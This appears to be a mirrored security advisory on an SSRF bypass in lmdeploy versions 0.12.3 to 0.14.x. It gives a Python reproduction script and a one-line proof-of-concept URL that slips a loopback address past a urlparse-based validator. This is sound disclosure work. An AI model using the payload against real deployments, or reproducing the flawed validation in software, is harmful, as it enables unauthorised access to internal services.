# GHSA-39wr-7q6h-cf68: LMDeploy has an SSRF bypass

> GHSA-39wr-7q6h-cf68 is a high-severity vulnerability with a CVSS 3.1 base score of 7.5, classed as Interpretation Conflict (CWE-436), in lmdeploy (PyPI). Affected versions: >= 0.12.3, < 0.15.0. It is fixed in 0.15.0.

Canonical page: https://cveminer.com/vulnerabilities/GHSA-39wr-7q6h-cf68

| Field | Value |
| --- | --- |
| GHSA | GHSA-39wr-7q6h-cf68 |
| Severity | High |
| CVSS 3.1 | 7.5 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (GitHub Advisory Database) |
| CWE | CWE-436 Interpretation Conflict; CWE-918 Server-Side Request Forgery (SSRF) |
| CISA KEV | Not listed |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

##### Details
The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request.
<img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" />
The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to:

- `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
- `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal)

Below is a test code I wrote following the code.
```
from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


### url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
```
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" />
However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

##### PoC
```
http://127.0.0.1:6666\@1.1.1.1
```

##### Impact
SSRF

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| lmdeploy | PyPI | `pkg:pypi/lmdeploy` | >= 0.12.3, < 0.15.0 | 0.15.0 |

## Questions

**Does GHSA-39wr-7q6h-cf68 have a CVE ID?**

No CVE ID has been assigned to GHSA-39wr-7q6h-cf68 yet. It is tracked only as a GitHub advisory.

**What is the CVSS score of GHSA-39wr-7q6h-cf68?**

GHSA-39wr-7q6h-cf68 has a CVSS 3.1 base score of 7.5 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.

**Which versions are affected by GHSA-39wr-7q6h-cf68?**

lmdeploy (PyPI): >= 0.12.3, < 0.15.0.

**How do I fix GHSA-39wr-7q6h-cf68?**

Upgrade to 0.15.0 or later.

**What is the Package URL (PURL) for GHSA-39wr-7q6h-cf68?**

The affected package's PURL is pkg:pypi/lmdeploy.

## References

- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-39wr-7q6h-cf68 (advisory)
- https://github.com/advisories/GHSA-39wr-7q6h-cf68 (advisory)
- https://github.com/InternLM/lmdeploy (package)
- https://github.com/InternLM/lmdeploy/releases/tag/v0.15.0

---

Source: CVEminer (https://cveminer.com/vulnerabilities/GHSA-39wr-7q6h-cf68), compiled from OSV (GitHub advisory), GitHub Advisory Database. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
